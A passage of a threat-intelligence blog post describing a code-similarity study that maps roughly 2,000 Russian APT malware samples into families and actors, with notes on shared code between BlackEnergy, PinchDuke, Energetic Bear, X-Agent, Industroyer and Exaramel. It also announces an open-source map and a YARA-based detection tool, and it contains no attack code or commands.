actors are part of a larger picture in which Russia is one of the strongest
powers in cyber warfare today. Their advanced tools, unique approaches, and
solid infrastructures suggest enormous and complicated operations that involve
different military and government entities inside Russia.&lt;/p&gt;
&lt;p&gt;Russia is known to conduct a wide range of cyber espionage and sabotage
operations for the last three decades. Beginning with the first publicly known
attacks by
&lt;a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180251/Penquins_Moonlit_Maze_PDF_eng.pdf"target="_blank" rel="noopener"&gt;Moonlight Maze&lt;/a&gt;,
in 1996, the
&lt;a href="https://web.archive.org/web/20090221124901/http://articles.latimes.com/2008/nov/28/nation/na-cyberattack28"target="_blank" rel="noopener"&gt;Pentagon breach&lt;/a&gt;
in 2008,
&lt;a href="https://www.wired.com/story/crash-override-malware/"target="_blank" rel="noopener"&gt;Blacking out Kyiv&lt;/a&gt; in
2016, hacking the
&lt;a href="https://www.dhs.gov/news/2016/10/07/joint-statement-department-homeland-security-and-office-director-national"target="_blank" rel="noopener"&gt;United States elections&lt;/a&gt;
in 2016, and including some of the largest, most infamous cyberattacks in
history,
&lt;a href="https://www.washingtonpost.com/world/national-security/russian-military-was-behind-notpetya-cyberattack-in-ukraine-cia-concludes/2018/01/12/048d8506-f7ca-11e7-b34a-b85626af34ef_story.html?"target="_blank" rel="noopener"&gt;targeting an entire&lt;/a&gt;
nation with NotPetya ransomware.&lt;/p&gt;
&lt;p&gt;Indeed, numerous Russian operations and malware families were publicly exposed
by different security vendors and intelligence organizations such as the
&lt;a href="https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf"target="_blank" rel="noopener"&gt;FBI&lt;/a&gt;
and the
&lt;a href="https://www.valisluureamet.ee/pdf/raport-2018-ENG-web.pdf"target="_blank" rel="noopener"&gt;Estonian Foreign Intelligence Services&lt;/a&gt;.
While these discoveries shed light into specific Russian actors or operations,
the larger picture remains hazy.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/09/russian-apt-ecosystem/images/fig1.png" title="Figure 1: An infographic that was published in a report by the Estonian Foreign Intelligence Service" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: An infographic that was published in a report by the Estonian Foreign Intelligence Service&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The fog behind these complicated operations made us realize that while we know
a lot about single actors, we are short of seeing an entire ecosystem with
actor interaction (or lack thereof) and particular TTPs that can be viewed on a
larger scope. We decided to know more and to adopt a broader perspective. This
led us to gather, classify, and analyze thousands of Russian APT malware
samples in order to find connections not only between samples, but also between
different families and actors.&lt;/p&gt;
&lt;p&gt;During this research, we analyzed approximately 2,000 samples that were
attributed to Russia and found 22,000 connections between the samples, in
addition to 3.85 million non-unique pieces of code that were shared. We
classified these samples into 60 families and 200 different modules.&lt;/p&gt;
&lt;h2&gt;Key Findings ключевые результаты&lt;span class="hx:absolute hx:-mt-20" id="key-findings-ключевые-результаты"&gt;&lt;/span&gt;
&lt;a href="#key-findings-%d0%ba%d0%bb%d1%8e%d1%87%d0%b5%d0%b2%d1%8b%d0%b5-%d1%80%d0%b5%d0%b7%d1%83%d0%bb%d1%8c%d1%82%d0%b0%d1%82%d1%8b" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;This research is the first and the most comprehensive of its kind. For the
first time, thousands of samples were gathered, classified, and analyzed in
order to map connections between different cyber espionage organizations of a
superpower country.&lt;/li&gt;
&lt;li&gt;In most cases, the Russian actors do not share code with one another. While
each actor does reuse its code in different operations and between different
malware families, there is no single tool, library or framework that is
shared between different actors.&lt;/li&gt;
&lt;li&gt;Every actor or organization under the Russain APT umbrella has its own
dedicated malware development teams, working for years in parallel on similar
malware toolkits and frameworks. Knowing that a lot of these toolkits serve
the same purpose, it is possible to spot redundancy in this parallel
activity.&lt;/li&gt;
&lt;li&gt;These findings may suggest that Russia is investing a lot of effort into its
operational security. By avoiding different organizations re-using the same
tools on a wide range of targets, they overcome the risk that one compromised
operation will expose other active operations.&lt;/li&gt;
&lt;li&gt;We were able to verify previously reported connections between different
families, supporting these connections with code similarity analysis as
evidence.&lt;/li&gt;
&lt;li&gt;We are releasing several tools to be used by the research community. An
interactive map of connections between dozens of Russian APT families and
their components. A signature-based tool to scan a host or a file against the
most commonly re-used pieces of code leveraged by the Russian APTs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the complete list of findings and their meaning, please refer to the
extended results section.&lt;/p&gt;
&lt;h2&gt;Getting Started ачинаем&lt;span class="hx:absolute hx:-mt-20" id="getting-started-ачинаем"&gt;&lt;/span&gt;
&lt;a href="#getting-started-%d0%b0%d1%87%d0%b8%d0%bd%d0%b0%d0%b5%d0%bc" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Our journey into this complex ecosystem began, as any thorough research, with
one question. To be honest, it wasn’t a single question, but several of them:&lt;/p&gt;
&lt;p&gt;What information is already publicly available? What, if any, previous research
of this type been conducted before? Who are the actors in the Russian APT
ecosystem? What are the malware families used by these actors? Who are the
targeted victims? What connections were already found between different actors,
families, and samples? And more…&lt;/p&gt;
&lt;p&gt;This led us to a deep background reading of public information that was shared
by other researchers, vendors, and governments. Without the previous research
conducted by these individuals, and without this information we would’ve been
lost, so this is the time to say thank you.&lt;/p&gt;
&lt;p&gt;After days of reading background materials and publications, it became more
clear to us on how we should proceed. To put it simply, we split the research
into four steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Gathering samples&lt;/li&gt;
&lt;li&gt;Classifying the samples&lt;/li&gt;
&lt;li&gt;Find code similarities between the samples&lt;/li&gt;
&lt;li&gt;Analyze the identified connections&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In the chapters below, we will try to explain each of these steps. We will
describe what we have done, how we did it, and what challenges we encountered.&lt;/p&gt;
&lt;h2&gt;Gathering Samples сбор образцов&lt;span class="hx:absolute hx:-mt-20" id="gathering-samples-сбор-образцов"&gt;&lt;/span&gt;
&lt;a href="#gathering-samples-%d1%81%d0%b1%d0%be%d1%80-%d0%be%d0%b1%d1%80%d0%b0%d0%b7%d1%86%d0%be%d0%b2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The first step was to gather samples that we know were attributed to malware
families that are associated with official Russian actors. We began by listing
the names of the actors and families we read about previously. We searched for
technical reports that were published about these names and extracted
potentially valuable Indication of Compromise from them. IOCs are usually
posted at the bottom of technical analysis reports and used by researchers as a
way to share hashes of the discussed malware samples. This information can
later be used by other researchers, vendors, and SOC teams.&lt;/p&gt;
&lt;p&gt;We then downloaded these samples from VirusTotal and from our internal
databases, and gathered them all together. Overall, we began with approximately
2,500 unique samples.&lt;/p&gt;
&lt;h2&gt;Classifying классификация&lt;span class="hx:absolute hx:-mt-20" id="classifying-классификация"&gt;&lt;/span&gt;
&lt;a href="#classifying-%d0%ba%d0%bb%d0%b0%d1%81%d1%81%d0%b8%d1%84%d0%b8%d0%ba%d0%b0%d1%86%d0%b8%d1%8f" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;When we find code similarities between two or more samples, we basically know
that a sample file A shares a mutual code with another sample file B. This
alone is not enough information for us, because we need to know what are A and
B—are they variants or modules of the same family, do they belong to the same
actor, or most importantly, are these samples a part of different families,
written by different actors. In order to do this, we needed to have a clear
understanding of the ascription of each sample. When taking this into practice,
we tried to determine the following information about each and every sample we
gathered:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Actor—which Russian APT actor is known or probable to have written this
malware (Turla, Sofacy, GreyEnergy, …)?&lt;/li&gt;
&lt;li&gt;Family—what is the common family name that is associated with this malware?&lt;/li&gt;
&lt;li&gt;Module—many malware families are built in a modular way in which a certain
malware can load different payloads embedded within it or downloaded from a
Command and Control server. When possible, we wanted to know whether the
sample we have is a Keylogger module, a communication module, an injection
module, or anything else.&lt;/li&gt;
&lt;li&gt;Version—some malware have a clear version stamp embedded in them. We wanted
to be able to differentiate between earlier and recent versions, as well as
versions that were written to different architectures and bits.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Although on the surface it looks easy, classifying turned out to be one of the
most complicated parts of this research.&lt;/p&gt;
&lt;p&gt;Starting with this frustrating fact–there is no naming standardization for
malware and threat actors in the infosec industry. Every Russian APT actor and
every malware family have more than a few names given to them by different
vendors, researchers, and intelligence institutions. Some names will be used by
different vendors to describe different families. Some malware families are
described with different names by the same vendor. Other malware families
simply do not have a clear name. These issues and more, made us face one of the
most painful drawbacks of classification and required us to be very careful
when we classify a specific piece of malware to a family and an actor.&lt;/p&gt;
&lt;h2&gt;Code Similarities сходство кода&lt;span class="hx:absolute hx:-mt-20" id="code-similarities-сходство-кода"&gt;&lt;/span&gt;
&lt;a href="#code-similarities-%d1%81%d1%85%d0%be%d0%b4%d1%81%d1%82%d0%b2%d0%be-%d0%ba%d0%be%d0%b4%d0%b0" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Once we finished collecting and classifying all of the Russian APT samples, we
began to cluster them based on the shared unique and malicious code between the
different samples. Using Intezer’s Malware Analysis technology, we
automatically disassembled and dissected each binary file into thousands of
small pieces of assembly code, also referred to as “genes”. Then, for each and
every gene, we checked in which software/malware it was seen previously, by
referencing Intezer’s code genome database. This code genome database contains
binary genes from both previously seen malicious and legitimate software, which
helps us to focus on only the unique and malicious genes per file (without
wasting time on shared library code, for example).&lt;/p&gt;
&lt;p&gt;Intezer’s technology also helped us to automatically unpack samples which were
packed (statically or dynamically), and to ignore the irrelevant binary parts,
such as library code. Since the genome database contains all of the genes from
the files that we have collected, the output of this process was an
automatically generated connections graph, based on the unique Russian code,
for further investigation of the results as described in the following
sections.&lt;/p&gt;
&lt;h2&gt;Visualizing the Connections визуализация связей&lt;span class="hx:absolute hx:-mt-20" id="visualizing-the-connections-визуализация-связей"&gt;&lt;/span&gt;
&lt;a href="#visualizing-the-connections-%d0%b2%d0%b8%d0%b7%d1%83%d0%b0%d0%bb%d0%b8%d0%b7%d0%b0%d1%86%d0%b8%d1%8f-%d1%81%d0%b2%d1%8f%d0%b7%d0%b5%d0%b9" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Now that we have analyzed thousands of samples for code similarities, it is
time to gather and visualize all of the identified connections in one place.
Our current situation is that we essentially have two lists:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A list of all the samples • Sha256, Label, Actor&lt;/li&gt;
&lt;li&gt;A list of found connections • sha256_sampleA, sha256_sampleB, # of shared
genes&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is all we need in order to create an initial graph of the connections, in
which every sample is a node (vertex), and a connection between two samples is
an edge. We created the initial graph using the
&lt;a href="https://networkx.github.io/"target="_blank" rel="noopener"&gt;networkx&lt;/a&gt; library for Python and produced a .gexf
file that later can be used in our favorite graph visualizer tool, Gephi. Gephi
is an open-source interactive visualization and exploration platform for all
kinds of networks and complex systems, dynamic and hierarchical graphs.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;GEXF (Graph Exchange XML Format) is a language for describing complex
networks structures, their associated data and dynamics.&lt;/p&gt;
&lt;p&gt;Source: Gephi website&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;By loading the produced file to Gephi, we begin with a complex and crowded web
of connections. In order to make it look clearer, we would need to apply some
layout algorithms to it.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/09/russian-apt-ecosystem/images/fig2.png" title="Figure 2: The initial graph as created by Gephi" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: The initial graph as created by Gephi&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Without getting too deep into Graph Theory and Graph Drawing, layout algorithms
are responsible for the way that vertices and edges are arranged in the graph.
This has a direct effect on the aesthetics, understandability, and usability of
the graph. For our graph, we chose a
&lt;a href="https://en.wikipedia.org/wiki/Force-directed_graph_drawing"target="_blank" rel="noopener"&gt;Force-Directed layout algorithm&lt;/a&gt;,
or more specifically–
&lt;a href="https://github.com/gephi/gephi/wiki/Fruchterman-Reingold"target="_blank" rel="noopener"&gt;Fruchterman-Reingold algorithm&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/09/russian-apt-ecosystem/images/fig3.gif" title="Figure 3: The graph of connections after applying layout algorithms" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: The graph of connections after applying layout algorithms&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Now we can notice some big clusters that are created and bridges between two or
more clusters like this. Circular and complete-linkage clusters are most likely
to be collections of samples of the same family. Two clusters that are joined
together are most likely to belong to the same family (different variants) or
to the same ancestry. There are many clusters, big ones, and smaller ones. The
different sizes indicate the number of nodes in the cluster. This is something
that can be either relevant or irrelevant depending on the situation. We need
to remember, after all, a graph will present the data it was given with. Thus,
the size of the cluster is directly affected by the number of samples of the
same family that were in our dataset. The family may indeed be a big one, but
it is possible that the samples of this family were simply more accessible for
us.&lt;/p&gt;
&lt;p&gt;Now that we have the shape of the graph, let’s add another layer—text, and
colors. In our research, we want to show connections between families and
actors. Thus, for each node on the graph, we will add a label with its name and
a unique color per attributed actor.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/09/russian-apt-ecosystem/images/fig4.png" title="Figure 4: Colors applied to the graph in order to make it more readable" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: Colors applied to the graph in order to make it more readable&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Analyzing the Connections анализ связей&lt;span class="hx:absolute hx:-mt-20" id="analyzing-the-connections-анализ-связей"&gt;&lt;/span&gt;
&lt;a href="#analyzing-the-connections-%d0%b0%d0%bd%d0%b0%d0%bb%d0%b8%d0%b7-%d1%81%d0%b2%d1%8f%d0%b7%d0%b5%d0%b9" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Now that Gephi did its magic and we have a nice, yet busy, visual graph, it is
time to inspect the thousands of connections, starting from the most
interesting ones, cross-actor edges.&lt;/p&gt;
&lt;p&gt;A cross-actor edge is a line connecting two nodes that are attributed to
different actors. Such a connection, when verified, can indicate that two or
more actors share code.&lt;/p&gt;
&lt;p&gt;While there are thousands of inter-family connections on the graph (a code is
shared between samples of the same family) and cross-family connections (a code
is shared between samples of different families attributed to the same actor),
it is uncommon to see cross-actor connections.&lt;/p&gt;
&lt;p&gt;In order to analyze the graph and its connections, we used Gephi’s Python API
module. We wrote several clean-up scripts to remove and reduce false-positives
and false attributions. Then, we extracted a list of connections between
samples belonging to different actors.&lt;/p&gt;
&lt;p&gt;We then moved to our favorite part, reverse-engineering the shared genes in
order to verify the unique mutuality or to flag the connection as a
false-positive.&lt;/p&gt;
&lt;p&gt;A false-positive connection, in our terminology, would be a connection which is
indeed true (the samples do share code), but not uniquely true. Mutually shared
genes that we flagged as false-positive most-likely belong to some version of
an open-source library, such as PolarSSL, B-Zip or a fork of any other
open-source library.&lt;/p&gt;
&lt;p&gt;This part required us to analyze the mutual pieces of code that were shared by
two or more samples in order to understand the nature of the connection. By
looking at the shared code, we could understand the goal of this code, how it
is being used and in what context it was written.&lt;/p&gt;
&lt;p&gt;In this part, we also verified that our research was able to spot and detect
previously reported connections between samples and actors, be it a TTP
connection or a code-connection. In some cases, we are the first to provide
code-based evidence for the connections.&lt;/p&gt;
&lt;h2&gt;Interesting Connections интересные связи&lt;span class="hx:absolute hx:-mt-20" id="interesting-connections-интересные-связи"&gt;&lt;/span&gt;
&lt;a href="#interesting-connections-%d0%b8%d0%bd%d1%82%d0%b5%d1%80%d0%b5%d1%81%d0%bd%d1%8b%d0%b5-%d1%81%d0%b2%d1%8f%d0%b7%d0%b8" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Now, with the code connections graph in place, we were able to examine the
interesting connections between the different Russian APTs. We have observed
many connections between different tools used from the same actors, which
ranged between a specific function to a whole module. Code similarities between
samples of different actors were rare to find and those that we did find are
not unique or large enough to indicate that code or modules were actively
shared. Here are the highlights of these connections.&lt;/p&gt;
&lt;h3&gt;BlackEnergy Password Stealer &amp;lt;—&amp;gt; PinchDuke&lt;span class="hx:absolute hx:-mt-20" id="blackenergy-password-stealer--pinchduke"&gt;&lt;/span&gt;
&lt;a href="#blackenergy-password-stealer--pinchduke" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Both share credential dumping implementation for Outlook and “The Bat!”—which
is a Moldovan email client. We know that
&lt;a href="https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"target="_blank" rel="noopener"&gt;PinchDuke&lt;/a&gt;
is based on an old credential stealer called Pinch (LdPinch) that was
distributed in Russian speaking underground forums about a decade ago, and we
believe that this shared piece of code between BlackEnergy and PinchDuke has
originated from the Pinch source code. Not only that several functions are
mutual, but there are also mutual strings—as can be seen in the screenshots
below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/09/russian-apt-ecosystem/images/fig5.png" title="Figure 5: Pinch Duke 0ce3bfa972ced61884ae7c1d77c7d4c45e17c7d767e669610cf2ef72b636b464" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: Pinch Duke 0ce3bfa972ced61884ae7c1d77c7d4c45e17c7d767e669610cf2ef72b636b464&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/09/russian-apt-ecosystem/images/fig6.png" title="Figure 6: Black Energy 3cf46c68dccb989fbda3f853cc19025d39d38d9ea5786f4ae6a926677d6c5f62" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: Black Energy 3cf46c68dccb989fbda3f853cc19025d39d38d9ea5786f4ae6a926677d6c5f62&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;BlackEnergy &amp;lt;—&amp;gt; Energetic Bear&lt;span class="hx:absolute hx:-mt-20" id="blackenergy--energetic-bear"&gt;&lt;/span&gt;
&lt;a href="#blackenergy--energetic-bear" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;As
&lt;a href="https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-dragonfly-analysis-suggests-links-to-earlier-attacks/"target="_blank" rel="noopener"&gt;published by McAfee&lt;/a&gt;,
we also observed identical self-delete functions between BlackEnergy sample
from 2015 and the newer Energetic Bear (Dragonfly) sample from 2017. Despite
the fact that self-delete functions are pretty common in malware, it is rare to
see an exact 1:1 match in the binary level, which matches only for these two
malware families out of all the malware families indexed in Intezer’s Genome
Database. We believe that this function was not actively shared between these
actors, but instead, was taken from a
&lt;a href="https://www.c-plusplus.net/forum/topic/157481/selbstl%C3%B6schende-dll-m%C3%B6glich"target="_blank" rel="noopener"&gt;public source&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/09/russian-apt-ecosystem/images/fig7.png" title="Figure 7: Black Energy 11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: Black Energy 11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/09/russian-apt-ecosystem/images/fig8.png" title="Figure 8: Energetic Bear fc54d8afd2ce5cb6cc53c46783bf91d0dd19de604308d536827320826bc36ed9" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 8: Energetic Bear fc54d8afd2ce5cb6cc53c46783bf91d0dd19de604308d536827320826bc36ed9&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Potao Main Module &amp;lt;—&amp;gt; X-Agent&lt;span class="hx:absolute hx:-mt-20" id="potao-main-module--x-agent"&gt;&lt;/span&gt;
&lt;a href="#potao-main-module--x-agent" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Both Potao’s main module sample from
&lt;a href="https://www.welivesecurity.com/wp-content/uploads/2015/07/Operation-Potao-Express_final_v2.pdf"target="_blank" rel="noopener"&gt;ESET&amp;rsquo;s publication&lt;/a&gt;
and X-Agent sample which was uncovered by
&lt;a href="https://twitter.com/CNMF_VirusAlert"target="_blank" rel="noopener"&gt;USCYBERCOM&lt;/a&gt; share slightly similar PE
Loader implementation. Due to the low percentage of shared code, we cannot call
if it was originated from a shared codebase or simply a generic implementation
of a PE loader function.&lt;/p&gt;
&lt;h3&gt;Industroyer &amp;lt;—&amp;gt; Exaramel&lt;span class="hx:absolute hx:-mt-20" id="industroyer--exaramel"&gt;&lt;/span&gt;
&lt;a href="#industroyer--exaramel" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;As
&lt;a href="https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/"target="_blank" rel="noopener"&gt;published by ESET&lt;/a&gt;
we also observed similar code connecting Exaramel backdoor used by TeleBots
group to Industroyer’s main backdoor component, which suggests Exaramel is a
newer version of this backdoor.&lt;/p&gt;
&lt;h2&gt;Tools тулзы&lt;span class="hx:absolute hx:-mt-20" id="tools-тулзы"&gt;&lt;/span&gt;
&lt;a href="#tools-%d1%82%d1%83%d0%bb%d0%b7%d1%8b" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We are happy to conclude the results of our research into two open-source
accessible tools. These tools can be an asset for any researcher and security
teams that will investigate or research Russian-related attacks.&lt;/p&gt;
&lt;h3&gt;Russian APT Map&lt;span class="hx:absolute hx:-mt-20" id="russian-apt-map"&gt;&lt;/span&gt;
&lt;a href="#russian-apt-map" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The Russian APT map is a web-based, interactive map that shows the different
families and actors that are part of the Russian APT ecosystem, as well as the
connections between them. The map is basically a one-stop-shop for anyone who
is interested to learn and understand the connections and attributions of the
samples, modules, families, and actors that together comprise this ecosystem.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/09/russian-apt-ecosystem/images/fig9.png" title="Figure 9: The map we created to show the connections inside the ecosystem" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 9: The map we created to show the connections inside the ecosystem&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The map is intuitive and rich with information. The user can get a full
overview of the ecosystem or drill down into specific connections. By clicking
on nodes in the graph, a side panel will reveal, containing information about
the malware family the node belongs to, as well as links to analysis reports on
Intezer’s platform and external links to related articles and publications.
Basically, this side-panel is a short identity-card of the entities on the map.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/09/russian-apt-ecosystem/images/fig10.png" title="Figure 10: A side panel with additional information about the nodes" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 10: A side panel with additional information about the nodes&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The map and its data are available open-sourced in our repository and we are
inviting you all to add more information and improve it.&lt;/p&gt;
&lt;p&gt;Click here to open: &lt;a href="https://apt-ecosystem.com/russia/map/"target="_blank" rel="noopener"&gt;Russian APT Map&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;APT Scanning Tool&lt;span class="hx:absolute hx:-mt-20" id="apt-scanning-tool"&gt;&lt;/span&gt;
&lt;a href="#apt-scanning-tool" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Having access to more than 3.5 million pieces of code that were shared between
the Russian APT samples we gathered, allowed us to understand which unique
genes are popular and more likely to be shared between samples, families, and
actors. We used this knowledge to write a tool that can be used by
organizations, CERT teams, researchers, and individuals to scan a specific
file, a folder, or a whole file system, and search for infections by Russian
APTs.&lt;/p&gt;
&lt;p&gt;The tool, which we named Russian APT Detector, is a set of YARA rules produced
by Intezer’s platform. The rules contain byte-sequences of popular mutual code
between one or more samples. We then wrapped it up in a binary to ease the use
of the tool. The full ruleset can be found in
&lt;a href="https://github.com/ITAYC0HEN/APT-Ecosystem/tree/master/russia/detector"target="_blank" rel="noopener"&gt;our repository&lt;/a&gt;,
and can be used
freely using your favorite YARA scanner. Don’t hesitate to integrate this
ruleset into your platform and toolset.&lt;/p&gt;
&lt;p&gt;Click here to get:
&lt;a href="https://github.com/ITAYC0HEN/APT-Ecosystem/releases/download/0.1/RussianAPTDetector.7z"target="_blank" rel="noopener"&gt;Russian APT Detector&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Results pезультаты&lt;span class="hx:absolute hx:-mt-20" id="results-pезультаты"&gt;&lt;/span&gt;
&lt;a href="#results-p%d0%b5%d0%b7%d1%83%d0%bb%d1%8c%d1%82%d0%b0%d1%82%d1%8b" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;As far as we know, this was the first time that research of this kind, size,
and comprehension was done. Using publicly known information we were able to
gather, classify, and analyze thousands of samples attributed to one of the
most active and advanced cyber-espionage ecosystems, Russia. Throughout this
research, we analyzed and investigated dozens of potential pieces of code-based
evidence that may indicate that code was shared between different Russian
military, government, and intelligence entities.&lt;/p&gt;
&lt;p&gt;The connections we analyzed clearly showed that pieces of code such as
functions, whole or partial module and, encryption schemes were shared between
different teams and projects of the same actor. That means that different
malware families of the same organization are sharing such code. This
information may suggest that different teams, belonging to the same
organization, are aware of each other’s work and operations. By sharing code
with each other, the teams can save hundreds of man-hours and a lot of money.
Instead of re-implementing capabilities that already exist, the teams can focus
on other things and re-use the code. Another benefit of using an existing code
is that most likely, the code was tested in real-life cyber operations and the
team that developed it had an experience of using and improving it. On the
other hand, the price of sharing and re-using code is that when it gets caught
by a security vendor or researchers, the shared pieces of code can be used to
find new samples and families that are using the code. Thus, one detected
family can make more operations fall apart.&lt;/p&gt;
&lt;p&gt;Interestingly, our analysis and observations demonstrate that when it comes to
cross-actor connections, in the vast majority of times, different actors do not
share code. None of the connections we analyzed indicated that some pieces of
code are shared between two or more organizations. We find it very interesting
and unexpected. While we cannot know for sure what brought the organizations in
the Russian APT ecosystem to not share code with one another, we can make some
hypotheses.&lt;/p&gt;
&lt;p&gt;A reasonable option can be that Russia, having one of the most advanced and
strong cyber-espionage capabilities, is aware of the disadvantages of
code-sharing that we listed above. By avoiding different organizations re-using
the same tools on a wide range of targets, they overcome the risk that one
compromised operation will expose other active operations, preventing a
sensitive house of cards from collapsing. According to this assumption, Russia
is willing to invest an enormous amount of money and man-power to write similar
code again and again, instead of sharing tools, libraries or frameworks,
causing redundancy in this parallel activity. If this is true, this can
indicate that operational security has a priceless meaning for the Russian
actors.&lt;/p&gt;
&lt;p&gt;Another hypothesis is that the different organizations do not share code due to
internal politics. Since we are not familiar enough with the politics and the
relationships between Russia’s intelligence organizations, this hypothesis
should be taken with caution. After the dissolution of the Soviet Union, KGB’s
SIGINT unit was succeeded by other special service organizations such as FSB
and SVR. In addition to the successors of KGB’s signal intelligence functions,
there is another organization, The Main Directorate of the General Staff of the
Armed Forces of the Russian Federation, or in short—GRU. Out of these special
services, the GRU likely possesses the finest technological and operational
capabilities. Sharing the responsibility for cyber-espionage operations between
several groups (which is not rare) might cause problems such as
miscommunication, redundant work, duplicate targets, and ego.&lt;/p&gt;
&lt;p&gt;As briefly mentioned earlier, our research confirmed connections that were
previously found by other security vendors. Some of these connections were
proved before and others were only suspected. We are now able to back these
claims with code-based evidence, such as Industroyer – TeleBots code
connections discussed previously.&lt;/p&gt;
&lt;p&gt;Finally, we concluded our research into two tools that we are publicly sharing
with the research community. The Russian APT Map and the Russian APT Detector
are thoroughly described in previous chapters in this article.&lt;/p&gt;
&lt;h2&gt;Acknowledgments благодарности&lt;span class="hx:absolute hx:-mt-20" id="acknowledgments-благодарности"&gt;&lt;/span&gt;
&lt;a href="#acknowledgments-%d0%b1%d0%bb%d0%b0%d0%b3%d0%be%d0%b4%d0%b0%d1%80%d0%bd%d0%be%d1%81%d1%82%d0%b8" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We want to thank our team leaders, Mark Lechtik and Ari Eitan, for accompanying
us in this research, for helping us a lot and for always giving interesting and
important insights. We would also like to thank our colleagues from
&lt;a href="https://www.welivesecurity.com/"target="_blank" rel="noopener"&gt;ESET&lt;/a&gt; for providing some of the samples. And
last but not least is our colleague Paul Litvak, who helped us with completing
